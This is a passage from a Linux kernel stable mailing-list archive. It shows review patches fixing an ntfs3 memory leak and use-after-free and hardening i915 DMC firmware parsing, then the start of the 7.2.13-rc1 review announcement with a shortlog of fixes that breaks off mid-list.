` (40 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, syzbot+23aee7afc440fe803545,
Baokun Li, Konstantin Komarov, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Baokun Li <libaokun1@huawei.com>
[ Upstream commit f7edab0cee03a1cbe0e55a7bcab8d2d8b6b74278 ]
In ntfs_fill_super(), the fc->fs_private pointer is set to NULL without
first freeing the memory it points to. This causes the subsequent call to
ntfs_fs_free() to skip freeing the ntfs_mount_options structure.
This results in a kmemleak report:
unreferenced object 0xff1100015378b800 (size 32):
comm "mount", pid 582, jiffies 4294890685
hex dump (first 32 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 ed ff ed ff 00 04 00 00 ................
backtrace (crc ed541d8c):
__kmalloc_cache_noprof+0x424/0x5a0
__ntfs_init_fs_context+0x47/0x590
alloc_fs_context+0x5d8/0x960
__x64_sys_fsopen+0xb1/0x190
do_syscall_64+0x50/0x1f0
entry_SYSCALL_64_after_hwframe+0x76/0x7e
This issue can be reproduced using the following commands:
fallocate -l 100M test.file
mount test.file /tmp/test
Since sbi->options is duplicated from fc->fs_private and does not
directly use the memory allocated for fs_private, it is unnecessary to
set fc->fs_private to NULL.
Additionally, this patch simplifies the code by utilizing the helper
function put_mount_options() instead of open-coding the cleanup logic.
Reported-by: syzbot+23aee7afc440fe803545@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=23aee7afc440fe803545
Fixes: aee4d5a521e9 ("ntfs3: fix double free of sbi->options->nls and clarify ownership of fc->fs_private")
Signed-off-by: Baokun Li <libaokun1@huawei.com>
Signed-off-by: Konstantin Komarov <almaz.alexandrovich@paragon-software.com>
Preserve the existing sbi && sbi->options guard in the failed-mount
cleanup while replacing the open-coded frees with put_mount_options().
Keep clearing sbi->options after release so later cleanup cannot
free the same options again.
Stable-dep-of: c01b091b0641 ("ntfs3: free the sbi after a grace period")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs3/super.c | 9 ++-------
1 file changed, 2 insertions(+), 7 deletions(-)
--- a/fs/ntfs3/super.c
+++ b/fs/ntfs3/super.c
@@ -705,9 +705,7 @@ static void ntfs_put_super(struct super_
ntfs_set_state(sbi, NTFS_DIRTY_CLEAR);
if (sbi->options) {
- unload_nls(sbi->options->nls);
- kfree(sbi->options->nls_name);
- kfree(sbi->options);
+ put_mount_options(sbi->options);
sbi->options = NULL;
}
@@ -1264,7 +1262,6 @@ static int ntfs_fill_super(struct super_
}
}
sbi->options = options;
- fc->fs_private = NULL;
sb->s_flags |= SB_NODIRATIME;
sb->s_magic = 0x7366746e; // "ntfs"
sb->s_op = &ntfs_sops;
@@ -1694,9 +1691,7 @@ put_inode_out:
iput(inode);
out:
if (sbi && sbi->options) {
- unload_nls(sbi->options->nls);
- kfree(sbi->options->nls_name);
- kfree(sbi->options);
+ put_mount_options(sbi->options);
sbi->options = NULL;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 164/193] ntfs3: free the sbi after a grace period
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (162 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 163/193] fs/ntfs3: fix ntfs_mount_options leak in ntfs_fill_super() Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 165/193] drm/i915/dmc: Harden DMC firmware payload parsing Greg Kroah-Hartman
` (39 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit c01b091b06412d3b1b53d8c2925f6de586c8a2fc ]
If the "nocase" mount option ntfs3 uses custom hash and dentry compare
functions. Both access ntfs3 superblock private information in rcu
pathwalk. ntfs_put_super() and ntfs3_kill_sb() drop the info without any
rcu delay. A lookup that's still inside the filesystem when the last
reference to the mount is dropped causes a UAF. With a pathwalk held up
in ntfs_d_hash() while the last reference to the mount goes away:
BUG: KASAN: slab-use-after-free in ntfs_nls_to_utf16+0x752/0x940
Read of size 8 at addr ff1100010453c850 by task walker/99
Call Trace:
<TASK>
ntfs_nls_to_utf16+0x752/0x940
ntfs_d_hash+0x22b/0x500
link_path_walk+0x11ad/0x1d30
path_lookupat+0x63/0xb00
filename_lookup+0x1f1/0x5b0
vfs_statx+0xd7/0x3b0
[...]
Allocated by task 95:
__kmalloc_cache_noprof+0x249/0x560
ntfs_init_fs_context+0x2db/0x5a0
alloc_fs_context+0x52e/0xc70
[...]
Freed by task 98:
kfree+0x1db/0x5b0
deactivate_locked_super+0x9c/0xf0
cleanup_mnt+0x9f/0x130
task_work_run+0x131/0x250
The bug is currently masked by the grace period in namespace_unlock()
for umount(2). Keep the necessary information until the filesystem
private info is freed and free it with an rcu delay.
ntfs3_free_sbi() now runs from an rcu callback and drops the upcase
table via ntfs_put_shared(). So switch s_shared_lock over to
spin_lock_bh(). Otherwise the callback can deadlock against a task
holding the lock on the same cpu.
Fixes: a3a956c78efa ("fs/ntfs3: Add option "nocase"")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-7-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs3/ntfs_fs.h | 1 +
fs/ntfs3/super.c | 33 +++++++++++++++++++++------------
2 files changed, 22 insertions(+), 12 deletions(-)
--- a/fs/ntfs3/ntfs_fs.h
+++ b/fs/ntfs3/ntfs_fs.h
@@ -209,6 +209,7 @@ struct ntfs_index {
/* Ntfs file system in-core superblock data. */
struct ntfs_sb_info {
struct super_block *sb;
+ struct rcu_head rcu;
u32 discard_granularity;
u64 discard_granularity_mask_inv; // ~(discard_granularity_mask_inv-1)
--- a/fs/ntfs3/super.c
+++ b/fs/ntfs3/super.c
@@ -194,7 +194,7 @@ void *ntfs_set_shared(void *ptr, u32 byt
void *ret = NULL;
int i, j = -1;
- spin_lock(&s_shared_lock);
+ spin_lock_bh(&s_shared_lock);
for (i = 0; i < ARRAY_SIZE(s_shared); i++) {
if (!s_shared[i].cnt) {
j = i;
@@ -212,7 +212,7 @@ void *ntfs_set_shared(void *ptr, u32 byt
s_shared[j].cnt = 1;
ret = ptr;
}
- spin_unlock(&s_shared_lock);
+ spin_unlock_bh(&s_shared_lock);
return ret;
}
@@ -229,7 +229,7 @@ void *ntfs_put_shared(void *ptr)
void *ret = ptr;
int i;
- spin_lock(&s_shared_lock);
+ spin_lock_bh(&s_shared_lock);
for (i = 0; i < ARRAY_SIZE(s_shared); i++) {
if (s_shared[i].cnt && s_shared[i].ptr == ptr) {
if (--s_shared[i].cnt)
@@ -237,7 +237,7 @@ void *ntfs_put_shared(void *ptr)
break;
}
}
- spin_unlock(&s_shared_lock);
+ spin_unlock_bh(&s_shared_lock);
return ret;
}
@@ -684,6 +684,8 @@ static noinline void ntfs3_put_sbi(struc
static void ntfs3_free_sbi(struct ntfs_sb_info *sbi)
{
+ if (sbi->options)
+ put_mount_options(sbi->options);
kfree(sbi->new_rec);
kvfree(ntfs_put_shared(sbi->upcase));
kvfree(sbi->def_table);
@@ -695,6 +697,11 @@ static void ntfs3_free_sbi(struct ntfs_s
kfree(sbi);
}
+static void ntfs3_free_sbi_rcu(struct rcu_head *head)
+{
+ ntfs3_free_sbi(container_of(head, struct ntfs_sb_info, rcu));
+}
+
static void ntfs_put_super(struct super_block *sb)
{
struct ntfs_sb_info *sbi = sb->s_fs_info;
@@ -704,11 +711,11 @@ static void ntfs_put_super(struct super_
/* Mark rw ntfs as clear, if possible. */
ntfs_set_state(sbi, NTFS_DIRTY_CLEAR);
- if (sbi->options) {
- put_mount_options(sbi->options);
- sbi->options = NULL;
- }
-
+ /*
+ * The mount options stay until the sbi is freed: ->d_hash() and
+ * ->d_compare() of a pathwalk in rcu mode read the nls table through
+ * them.
+ */
ntfs3_put_sbi(sbi);
}
@@ -1865,9 +1872,11 @@ static void ntfs3_kill_sb(struct super_b
kill_block_super(sb);
- if (sbi->options)
- put_mount_options(sbi->options);
- ntfs3_free_sbi(sbi);
+ /*
+ * A pathwalk in rcu mode may still be in ->d_hash() or ->d_compare()
+ * and read the upcase table and the nls table through the sbi.
+ */
+ call_rcu(&sbi->rcu, ntfs3_free_sbi_rcu);
}
// clang-format off
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 165/193] drm/i915/dmc: Harden DMC firmware payload parsing
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (163 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 164/193] ntfs3: free the sbi after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 166/193] sched_ext: idle: Respect task affinity in restricted CPU selection Greg Kroah-Hartman
` (38 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dibin Moolakadan Subrahmanian,
Mitul Golani, Ankit Nautiyal, Joonas Lahtinen, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
[ Upstream commit 8bb1858db453cd4250e3b633f5d2d09206024ca6 ]
Validate the conversion of the DMC firmware size from dwords to bytes
using check_mul_overflow() before calculating the firmware payload size.
Reject zero-length payloads and zero MMIO counts in the DMC firmware
header so malformed firmware is caught early. Also set dmc_fw_size only
after the payload allocation succeeds.
Fixes: eb805623d8b1 ("drm/i915/skl: Add support to load SKL CSR firmware.")
Cc: stable@vger.kernel.org
Assisted-by: Claude-Code:Sonnet-5
Signed-off-by: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
Reviewed-by: Mitul Golani<mitulkumar.ajitkumar.golani@intel.com>
Signed-off-by: Ankit Nautiyal <ankit.k.nautiyal@intel.com>
Link: https://patch.msgid.link/20260922133535.3180973-5-dibin.moolakadan.subrahmanian@intel.com
(cherry picked from commit efde6601a1f1daedfe3dcc2816c934ddb44e3eef)
Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/i915/display/intel_dmc.c | 21 ++++++++++++++++-----
1 file changed, 16 insertions(+), 5 deletions(-)
--- a/drivers/gpu/drm/i915/display/intel_dmc.c
+++ b/drivers/gpu/drm/i915/display/intel_dmc.c
@@ -1132,7 +1132,7 @@ static u32 parse_dmc_fw_header(struct in
}
/* Cache the dmc header info. */
- if (mmio_count > mmio_count_max) {
+ if (!mmio_count || mmio_count > mmio_count_max) {
drm_err(display->drm, "DMC firmware has wrong mmio count %u\n", mmio_count);
return 0;
}
@@ -1178,13 +1178,21 @@ static u32 parse_dmc_fw_header(struct in
disable_dmc_evt(display, dmc_id, dmc_info->mmioaddr[i],
dmc_info->mmiodata[i]) ? " (disabling)" : "");
}
- dmc_info->mmio_count = mmio_count;
- dmc_info->start_mmioaddr = start_mmioaddr;
rem_size -= header_len_bytes;
/* fw_size is in dwords, so multiplied by 4 to convert into bytes. */
- payload_size = dmc_header->fw_size * 4;
+ if (check_mul_overflow(dmc_header->fw_size, 4u, &payload_size)) {
+ drm_err(display->drm, "DMC fw_size too large (%u dwords)\n",
+ dmc_header->fw_size);
+ return 0;
+ }
+
+ if (!payload_size) {
+ drm_err(display->drm, "DMC firmware has empty payload\n");
+ return 0;
+ }
+
if (rem_size < payload_size)
goto error_truncated;
@@ -1192,7 +1200,6 @@ static u32 parse_dmc_fw_header(struct in
drm_err(display->drm, "DMC FW too big (%u bytes)\n", payload_size);
return 0;
}
- dmc_info->dmc_fw_size = dmc_header->fw_size;
if (!dmc_load_addr_sanity_check(dmc, start_mmioaddr, payload_size,
dmc_header->header_ver, dmc_id)) {
@@ -1204,6 +1211,10 @@ static u32 parse_dmc_fw_header(struct in
if (!dmc_info->payload)
return 0;
+ dmc_info->mmio_count = mmio_count;
+ dmc_info->start_mmioaddr = start_mmioaddr;
+ dmc_info->dmc_fw_size = dmc_header->fw_size;
+
payload = (u8 *)(dmc_header) + header_len_bytes;
memcpy(dmc_info->payload, payload, payload_size);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 000/242] 7.2.13-rc1 review
@ 2026-10-23 16:37 Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 001/242] ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup Greg Kroah-Hartman
` (241 more replies)
0 siblings, 242 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, linux-kernel, torvalds, akpm, linux,
shuah, patches, lkft-triage, pavel, jonathanh, f.fainelli,
sudipm.mukherjee, rwarsow, conor, hargar, broonie, achill, sr
This is the start of the stable review cycle for the 7.2.13 release.
There are 242 patches in this series, all will be posted as a response
to this one. If anyone has any issues with these being applied, please
let me know.
Responses should be made by Sun, 25 Oct 2026 16:36:45 +0000.
Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v7.x/stable-review/patch-7.2.13-rc1.gz
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-7.2.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Linux 7.2.13-rc1
Paulo Alcantara <pc@manguebit.org>
smb: client: drain outstanding I/O before truncating on O_TRUNC open
Hongling Zeng <zenghongling@kylinos.cn>
ntfs: fix memmove overlap in ntfs_new_attr_flags
Namjae Jeon <linkinjeon@kernel.org>
ntfs: move attribute payload before shrinking its record
Hyunchul Lee <hyc.lee@gmail.com>
ntfs: fix resident conversion in ntfs_new_attr_flags
Hongling Zeng <zenghongling@kylinos.cn>
ntfs: take invalidate_lock in ntfs_setattr_size()
Namjae Jeon <linkinjeon@kernel.org>
ntfs: use pagecache_isize_extended() on size extension
Yao Kai <yaokai34@huawei.com>
workqueue: Fix unbound pool lifetime for pending pwqs
Tejun Heo <tj@kernel.org>
sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor
Donggeun Yoo <donggeunyoo.kernel@gmail.com>
tracing: Fix NULL dereference when copying keys for a field variable
Pengpeng Hou <pengpeng@iscas.ac.cn>
tracing: Bound histogram expression strings with seq_buf
Pengpeng Hou <pengpeng@iscas.ac.cn>
tracing: Use __free() for expr_str() buffer
Tejun Heo <tj@kernel.org>
sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPU's local DSQ
Jesse Zhang <Jesse.Zhang@amd.com>
drm/amdgpu: free the userptr ranges when a CS fails after parser_bos
Tvrtko Ursulin <tvrtko.ursulin@igalia.com>
drm/amdgpu: Remove the bo list mutex
Haris Okanovic <harisokn@amazon.com>
genirq/proc: Fix missing CPU header in /proc/interrupts
Hongling Zeng <zenghongling@kylinos.cn>
ntfs: fix undefined behavior in mft/index record size calculation
Hongling Zeng <zenghongling@kylinos.cn>
ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize
Jacopo Labardi <jacopolabardi@gmail.com>
ntfs: fix FITRIM range alignment
Hongling Zeng <zenghongling@kylinos.cn>
ntfs: handle signal interruption in fallocate
Yunpeng Tian <shionthanatos@gmail.com>
smb: client: reject SetEA requests that do not fit the request buffer
Paulo Alcantara <pc@manguebit.org>
smb: client: fix multiuser mount with krb5
Frank Sorenson <sorenson@redhat.com>
smb: client: fix heap overflow in cifs_do_set_acl()
Paulo Alcantara <pc@manguebit.org>
smb: client: fix data corruption with concurrent writes and O_TRUNC
Aohan Mei <henrymei@tencent.com>
net/sched: cls_flower: validate mask pointer after nla_next()
Aleksandr Khromov <haa@amicon.ru>
ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in
Aleksandr Khromov <haa@amicon.ru>
ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION
Aleksandr Khromov <haa@amicon.ru>
ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION
Norbert Szetei <norbert@doyensec.com>
net: psp: do not inherit the Rx association on clone
Koichiro Den <den@valinux.co.jp>
net: ntb_netdev: Fix statistics races
Jun Yang <littleddfu@gmail.com>
net: bridge: mcast: don't truncate the port group walk on teardown
Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
drm/i915/dmc: Harden DMC firmware payload parsing
Benjamin Cheng <benjamin.cheng@amd.com>
drm/amdgpu/userq: actually validate userq BOs
Prike Liang <Prike.Liang@amd.com>
drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction
Paolo Bonzini <pbonzini@redhat.com>
KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes
David Rosca <david.rosca@amd.com>
drm/amdgpu: Fix VCE 3 ring align_mask
Zihan Xi <zihanx@nebusec.ai>
ipv4: avoid divide by zero in fib_rebalance
Daehyeon Ko <4ncienth@gmail.com>
vsock/vmci: validate packet source for connected sockets
Daehyeon Ko <4ncienth@gmail.com>
vsock/virtio: validate packet source for connected sockets
Niklas Schnelle <schnelle@linux.ibm.com>
s390/pci: Fix leak of uninitialized kernel data in SCLP report
Thomas Richter <tmricht@linux.ibm.com>
s390/pai: Handle multiple PMU stop callback invocations
Aswin Karuvally <aswin@linux.ibm.com>
s390/ctcm: Prevent XID null dereference
Florian Schauer <florian@schauer.to>
page_pool: keep frag_offset aligned for odd-sized requests
Charles Vosburgh <theminershive@gmail.com>
sctp: validate chunk length in the inqueue parser
Paul Moore <paul@paul-moore.com>
selinux: fix BPF token permission checks
Chengfeng Ye <nicoyip.dev@gmail.com>
tipc: protect node reset trace dump with node lock
Tejun Heo <tj@kernel.org>
workqueue: Annotate cb_lock nesting when draining a dead BH pool
Zqiang <qiang.zhang@linux.dev>
workqueue: Use raise_softirq() to trigger softirq in irq_work handler
Cen Zhang (Microsoft Security FORGE Labs) <cenzhang@linux.microsoft.com>
io_uring/cancel: don't spin on local work the task can't run
Ilya Maximets <i.maximets@ovn.org>
netlink: specs: add missing mask attributes for conntrack dump
Ilya Maximets <i.maximets@ovn.org>
netlink: specs: fix the conntrack filter type
Christoph Hellwig <hch@lst.de>
xfs: fix zoned write iomap flags assignments
Carlos Maiolino <cem@kernel.org>
xfs: fix capability check in xfs
Yun Zhou <yun.zhou@windriver.com>
xfs: don't hold buffer locks across sync transaction commit in xfs_sync_sb_buf
Bryam Vargas <hexlabsecurity@proton.me>
net/iucv: fix the recvmsg window update
Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
mac802154: fix data race and NULL deref on local->assoc_dev
Chen Cheng <chencheng@fnnas.com>
dm-integrity: require stable writes for internal hash modes
Ben Cressey <ben@cressey.dev>
dm-integrity: fix infinite loop on discard with large tag size
Genjian Zhang <zhanggenjian@kylinos.cn>
dm-ebs: fix incorrect device offset check in ebs_ctr()
Ben Cressey <ben@cressey.dev>
dm-crypt: fix a tiny race condition in crypt_dec_pending
Benjamin Marzinski <bmarzins@redhat.com>
dm cache: fix issue with background work locking
Ming-Hung Tsai <mtsai@redhat.com>
dm cache: fix demotion stats in passthrough mode
Frank Sorenson <sorenson@redhat.com>
cifs: don't update i_size in cifs_do_truncate without a cached handle
Frank Sorenson <sorenson@redhat.com>
cifs: add revalidation on FSCTL failure in smb2_duplicate_extents()
Etienne Perot <eperot@google.com>
cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children
Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO)
Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION)
Heyang Tan <thy15333007817@163.com>
wifi: p54: validate firmware record lengths
Dmitry Kandybka <d.kandybka@gmail.com>
tracing: Fix ignored return value of resize_buffer_duplicate_size()
Tengda Wu <wutengda@huaweicloud.com>
tracing: Fix hist trigger timestamps for buffered events
Hao Ge <hao.ge@linux.dev>
tracing: Fix crash in print_graph_function_event()
Amit Machhiwal <amachhiw@linux.ibm.com>
tracing: Do not initialize tracefs work if tracing is disabled
Taeyang Lee <0wn@theori.io>
tracing: Check operator stack capacity before pushing
David Carlier <devnexen@gmail.com>
tracing: Take trace_types_lock when dropping the buffer_meta reference
Taeyang Lee <0wn@theori.io>
tracing: Keep the predicate limit separate from program capacity
Donggeun Yoo <donggeunyoo.kernel@gmail.com>
tracing: Fix the shift out of bounds in the log2 histogram modifier
Tejun Heo <tj@kernel.org>
sched_ext: Propagate every bypass depth change to the descendants
Hui Su <sh_def@163.com>
sched_ext: idle: Respect task affinity in restricted CPU selection
Tejun Heo <tj@kernel.org>
sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue
Thomas Hellström <thomas.hellstrom@linux.intel.com>
drm/xe: Don't transfer shrinker pages for pinned bos on purgeable state change
Thomas Hellström <thomas.hellstrom@linux.intel.com>
drm/xe: Bump LRU for external objects on exec and rebind
Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
drm/i915/dmc: Add sanity check for DMC load address
Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
drm/i915/cx0_phy: Fix ARL-S host bridge detection
Christian König <ckoenig.leichtzumerken@gmail.com>
drm/exec: don't immediately add prelocked obj to array of locked objs
Jesse Zhang <Jesse.Zhang@amd.com>
drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES
Jesse Zhang <Jesse.Zhang@amd.com>
drm/amdgpu: keep the eviction fence until the last handle is closed
Perry Yuan <perry.yuan@amd.com>
drm/amdgpu: fix sched entity leak in ttm buffer entity init
Perry Yuan <perry.yuan@amd.com>
drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl
Jesse Zhang <Jesse.Zhang@amd.com>
drm/amdgpu: don't drop the runtime PM reference twice in amdgpu_gpr
Perry Yuan <perry.yuan@amd.com>
drm/amdgpu: destroy mutex when tearing down ttm buffer entity
Timur Kristóf <timur.kristof@gmail.com>
drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set
Timur Kristóf <timur.kristof@gmail.com>
drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang
Kenneth Feng <kenneth.feng@amd.com>
drm/amd/pm: add zero fan stop temperature support on smu 14.0.2
Srinivasan Shanmugam <srinivasan.shanmugam@amd.com>
drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions
Yehyeong Lee <yhlee@isslab.korea.ac.kr>
scsi: libiscsi: Validate the task named by a management response
Yehyeong Lee <yhlee@isslab.korea.ac.kr>
scsi: libiscsi: Validate the ITT reflected in a Reject PDU
Yehyeong Lee <yhlee@isslab.korea.ac.kr>
scsi: libiscsi: Reject a negative task index from parse_pdu_itt
Yehyeong Lee <yhlee@isslab.korea.ac.kr>
scsi: xen/scsifront: Check for a NULL shadow entry on a backend response
Laurence Oberman <loberman@redhat.com>
scsi: st: Fix use-after-free race between st_remove() and st_open()
Stanley Jhu <stanleyjhu@google.com>
scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies
Krystian Kaniewski <krystianmkaniewski@gmail.com>
ring-buffer: Fix false warning in ring_buffer_map_get_reader()
Donggeun Yoo <donggeunyoo.kernel@gmail.com>
ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx()
David Carlier <devnexen@gmail.com>
ring-buffer: Do not show buffer_meta for CPUs without a buffer
Antoine Huret <antoine.huret@bull.com>
perf: Update cgroup time when rotating multiplexed events
Lorenzo Stoakes (ARM) <ljs@kernel.org>
perf: Track the perf mlock gift separately
Abdurrahman Hussain <abdurrahman@nexthop.ai>
i2c: xiic: restore non-managed runtime PM to fix clk WARN flood
Wentao Liang <vulab@iscas.ac.cn>
i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe()
Loic Poulain <loic.poulain@oss.qualcomm.com>
i2c: qcom-cci: Fix HALT_ACK reset request being dropped
Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
gpio: shared: gracefully handle no-device lookup of shared GPIOs
Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
gpio: shared: fix use-after-free bug when adding shared proxies
Lee Jones <lee@kernel.org>
tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields
Sasha Levin <sashal@kernel.org>
tools: gpio: fix building from the top level with O=
Ali Ahmet Memis <ali@iusegentoo.com>
tools/power turbostat: Read complete CPU lists
Richard Leitner <richard.leitner@linux.dev>
spi: imx: fix slab corruption from undersized DMA bounce buffers
Daehyeon Ko <4ncienth@gmail.com>
sctp: revalidate output stream after association connect wait
Conor Dooley <conor.dooley@microchip.com>
riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts
François Roux <franzelfranzel@gmail.com>
power: sequencing: qcom-wcn: power off WLAN at probe
Mario Limonciello <mario.limonciello@amd.com>
pinctrl: amd: Clear S4 wake bits when firmware has _AEI
Aohan Mei <henrymei@tencent.com>
net: rds: fix uninitialized trans dereference in CM event handler
Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
net/sched: fix use-after-free in __tcf_action_put()
Hardik Garg <hargar@linux.microsoft.com>
mshv_vtl: Check per-CPU register page before mmap
Eric Biggers <ebiggers@kernel.org>
lib/crypto: poly1305: Use memzero_explicit() in poly1305_final()
Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state
Jann Horn <jannh@google.com>
futex: Fix mm reuse handling for FUT_OFF_MMSHARED
Christian Brauner <brauner@kernel.org>
namei: test for a negative dentry the way traverse_mounts() does
Christian Brauner <brauner@kernel.org>
namespace: a mount that copy_tree() leaves out can't take over a lock
Christian Brauner <brauner@kernel.org>
ntfs3: free the sbi after a grace period
Christian Brauner <brauner@kernel.org>
ipc: drop the mqueue mount with kern_unmount() on setup failure
Christian Brauner <brauner@kernel.org>
eventfs: Free the eventfs_inode after an rcu grace period too
Christian Brauner <brauner@kernel.org>
ext4: free the sbi after a grace period
Aviv Vaknin <vaknins33@gmail.com>
pid_namespace: make zap_pid_ns_processes() freezable
Kyle Zeng <kylebot@openai.com>
fsnotify: prevent mark additions during connector teardown
Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry
Jann Horn <jannh@google.com>
KVM: SEV: Fix page dirtying in sev_gmem_post_populate()
EJ Campbell <ejc3@meta.com>
x86/kvm: Don't consume async #PF flags on a kernel #PF in NMI context
Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
watch_queue: Fix note pool publication race in watch_queue_set_size()
Christian Brauner <brauner@kernel.org>
unicode: free the map after a grace period
Sasha Levin <sashal@kernel.org>
bootconfig: give the footer size static_assert a message
Sung Byeongchan <tjdqudcks0424@naver.com>
autofs: ignore notification errors from a replaced pipe
Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
ASoC: SOF: sof-client: Use event-handler mutex consistently
Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture
Christian Brauner <brauner@kernel.org>
afs: free the super info after a grace period
Igor Paunovic <royalnet026@gmail.com>
accel/rocket: search every core slot when looking up a scheduler
Igor Paunovic <royalnet026@gmail.com>
accel/rocket: search every core slot when a core is removed
Christian Brauner <brauner@kernel.org>
9p: free the session after a grace period
Takashi Sakamoto <o-takashi@sakamocchi.jp>
firewire: core: fix race condition in split transaction handling
Lukas Zobernig <lukas.zobernig@gmail.com>
x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx()
Alexander Gruhlke <gruhlke@mailbox.org>
PCI: Don't treat ~0 as ready in pci_dev_wait() with RRS SV
Alexander Gruhlke <gruhlke@mailbox.org>
PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe
John Ogness <john.ogness@linutronix.de>
printk: Postpone kthread startup
Haris Okanovic <harisokn@amazon.com>
perf: Fix perf_pmu_migrate_context() leaving events behind
Guixiong Wei <weiguixiong@bytedance.com>
perf/x86/intel/uncore: Fix DMR CXL CM invert filter
Igor Velkov <iav@iav.lv>
net: stmmac: dwmac1000: clear the RGMII status interrupt
Vincent Donnefort <vdonnefort@google.com>
ring-buffer: Use subbuf_order in available memory estimation
Peng Fan <peng.fan@nxp.com>
gpio: mxc: fix race between gpiochip registration and IRQ domain setup
Peng Fan <peng.fan@nxp.com>
gpio: mxc: fix wakeup_pads bit operations
Peng Fan <peng.fan@nxp.com>
gpio: mxc: fix both_edges bit operations
Peng Fan <peng.fan@nxp.com>
gpio: mxc: fix race between chained IRQ handler install and probe completion
Kent Gibson <warthog618@gmail.com>
